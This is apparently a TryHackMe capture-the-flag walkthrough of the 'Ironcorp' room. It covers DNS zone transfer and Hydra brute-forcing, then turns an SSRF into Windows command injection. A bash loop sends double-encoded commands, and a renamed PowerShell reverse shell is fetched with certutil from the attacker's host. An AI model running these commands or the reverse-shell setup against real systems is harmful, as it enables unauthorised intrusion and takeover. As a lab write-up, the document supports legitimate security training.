IRONCORP – TryHackMe

https://tryhackme.com/room/ironcorp

Ironcorp is a hard difficulty rated machine. It involves exploiting SSRF and escalating to RCE in order to take-over the Server. As our invitation states

"You have been chosen by Iron Corp to conduct a penetration test of their asset. They did system hardening and are expecting you not to be able to access their system.

The asset in scope is: ironcorp.me"

-

So lets dive in …

OUR ENVIRONMENT

After adding the IP address into /etc/hosts file we run our Port Scan using nmap

$sudo nmap -Pn -n -v -A -p- -oA Ironcorp_Nmap -T4

-Pn : do not do host discover
-n : no name resolution
-A : Aggressive scan, service detection, OS detection and default NSE scripts
-oA : save as all output. Grepable, Normal, XML format

The scan reveals that

53/tcp open domain?
135/tcp open msrpc Microsoft Windows RPC
3389/tcp open ms-wbt-server Microsoft Terminal Services
8080/tcp open http Microsoft IIS httpd 10.0
11025/tcp open http Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.4.4)
49667/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC

Clearly, this is a Windows Server. The most interesting are the HTTP ports 8080 and 11025 so lets examine while proxying through ZAP.

Port 8080 has a Dash-tree dashboard running that has no functionality that can be abused. The source code seems to have some mentions of directories and a possible password but these seem like rabbit holes.

Port 11025 is a web-page that is still under development. It also has no functionality that can be abused. Both web-pages load no traffic when anything is clicked.

We can run a directory brute-force on both of the web-pages using Ffuf.

$ffuf -u http://ironcorp.me:8080/FUZZ -w *directory_list_2.3_small.txt -of html -o ffuf_8080.html -c -e .php,.txt,.bak,.config*

$ffuf -u http://ironcorp.me:11025/FUZZ -w *directory_list_2.3_small.txt -of html -o ffuf_8080.html -c -e .php,.txt,.bak,.config*

-u: target url
-e : extensions to look for
-of : output format
-o : saved output file
-w : directory list to use

Nothing interesting came up. Even using a list specifically for an IIS Server, does not bring anything interesting. Lets look at the DNS port seeing as its open.

DNS is not properly configured can be abused to return all the hosts on a particular domain. We can check if this mis-configuration exists by running

$dig @10.10.0.0 ironcorp.me axfr

@10.10.10.10 : the main ip to query
ironcorp.me : the domain
axfr : get the list of all hosts on a domain

This reveals 2 sub domains that we can add into the /etc/hosts; *admin.ironcorp.me* and *internal.ironcorp.me*.

DIVING DEEPER

Both subdomains are accessible on the open HTTP ports, 8080 and 11025.

admin.ironcorp.me:8080 shows the same Dash-tree Dashboard. Checking the 11025 shows a Login section. It uses HTTP Basic Authorization. This can be potentially be brute forced, lets put a pin on it.

Internal.ironcorp.me:8080 returns the same Dash-tree dashboard but on Port 11025 we get a Access Denied. It looks like this may be a web page that is only accessible internally.

The Login is using Basic Authorization (a username:password which is then base64 encoded). A very weak authentication mechanism. We use the power of Hydra in order to attempt to brute-force. (Personally I hate brute-forcing as it is very “noisy”) An educated guess on the username is admin seeing as its an admin web-page.

$hydra -P rockyou.txt -l admin -s 11025 http-get://admin.ironcorp.me -v -I

-P password list to use
-l : single username to use
-s : port to use as it is not the default 80
http-get : tells Hydra it is a HTTP basic login form
-v : verbose mode
-I : start immediately, don't wait for 10 seconds

This works and we are able to get the password. They work on the form and we are greeted with a page that seems to fetch a user specified file.

This screams an Injection attack or SSRF (Server Side Request Forgery). Lets try SSRF as I love it.

When we specify a file, an r parameter is used to hold the value. Lets try and initiate an out-of-band connection.

On our machine, lets set up a Netcat listener on port 5000 to receive the connection.

$nc -lnvp 5000

-l : listen
-n : no name resolution
-v : verbose mode
-p : port

On the target, lets enter the payload and send.

http://admin.ironcorp.me:11025/?r=http://tun0-ip-address:5000

We receive a connection on our netcat listener. Great. No User-agent for the connection from the is being shown but not a problem. Houston, we have SSRF.

Lets turn this weapon internally. We have the *internal.ironcorp.me* web-page that gave us an error before. Lets try and load it in.

http://admin.ironcorp.me:11025/?r=internal.ironcorp.me:11025

NOTE: This can be done via browser or Proxy. Proxy will require looking at the response
We receive a string of text, with a name. The name seems to be linked with a function. Lets pass it along.

http://admin.ironcorp.me:11025/?r=http://internal.ironcorp.me:11025/name.php?name=

The name when sent as an empty parameter just returns a name. Any texted added just gets concatentated, meaning the name is a fixed value.

DEEP WATERS

This parameter looks like its context is suitable candidate for OS Injection

TIP: Always look at the context that a parameter is operating in in order to best priorities the Injection to use.

As this is a Windows Server, lets try some payloads suitable for Windows machines along with one-word commands such as *dir* (list contents). Our testing shows that the payload ***|dir*** results in the contents been displayed. This just got dangerous. SSRF → RCE.

Sending more than one word results in the payload failing. This is a simple fix as it is nothing more than the work of the HTTP protocol. There are two "server hops" which means that due to URL encoding, the payload is lost on the second hop. All we need to do is double URL encode in order to get a fully working RCE. Time for some automation.

This bash script that takes in command and double URL encodes it and sends it to the target. It is an infinite loop. The results are filtered out using grep.

```
GNU nano 4.8                    ssrf-rce.sh
#!/bin/bash
while 1>0;do
read -p "Command:" command
EXECUTE=$(urlencode "|$command")
EXECUTE2=$(urlencode "$EXECUTE")

echo $EXECUTE2  curl -H "Authorization: Basic YWRtaW46cGFzc3dvcmQxMjM=" -i -s http://admin.ironcorp.me:11025
done
```

**The caveat with this script is using \ will escape the quotes so for some commands better to URL encode via ZAP or Burp. . A work around is specifying double forward slashes. If you are familiar with the basic hierarchy of Windows then this is favorable to you.*

We can execute some commands and move around the server but everything has to be done in one command, nothing is permanent.

Some commands to run :

- dir C:\Users : will show the User accounts on the system
- whoami : current username
- whoami \priv : user privileges, not required as we already know we are SYSTEM
- systeminfo : information about the system

Wow, the web server is running with SYSTEM level privileges. That's great for us but bad professional practice. Lets get to work gaining a better connection. Due to the commands we are running it looks as it we are running in CMD. Lets craft an executable for Windows and gain a reverse shell.

WE HAVE PENETRATION

Nishan (https://github.com/vulware/powershell-reverse-shell-/blob/master/powershell%20tcp%20reverse%20shell.ps1) has a nice powershell script that we can edit for our purpose. We just need to copy it and change the port and the IP address to reflect our values. We host the powershell script on a web server by running

$python3 -m http.server 4000

We set up a listener using exploit/multi/handler and set the required options or on netat. Once all is ready we use Certutil (a common utility found in Windows environments) to transfer the file.

In the bash script, run

*admin-config.ps1 as it is a less suspicious name compared to reverse-shell.ps1

$certutil.exe -urlcache -split -f http://10.18.53.141:4000/admin-config.ps1 E:\\xampp\\htdocs\\internal\\admin-config.ps1

-f: force overwrite
-urlcache : displays or deletes URL cache entries
-split : split embedded ASN.1 elements and save to files

Once the connection has been confirmed on the logs of the web-server, lets execute the reverse shell by running

$powershell.exe ./admin-config.ps1

Boom. “Defenses” breached.

We can easily get the *user.txt* flag. We are already SYSTEM so we can’t escalate further. The flag is clearly in the user SuperAdmin directory but we cant access it directly. We view the permissions on the account by executing

$get-acli C:\Users\SuperAdmin | fl

SYSTEM has been denied access but lets see if we can read the file by specifying a full path. (Flags usually in Desktop folder)

$type C:\Users\SuperAdmin\Desktop\root.txt

and Pawned ….

Another machine down.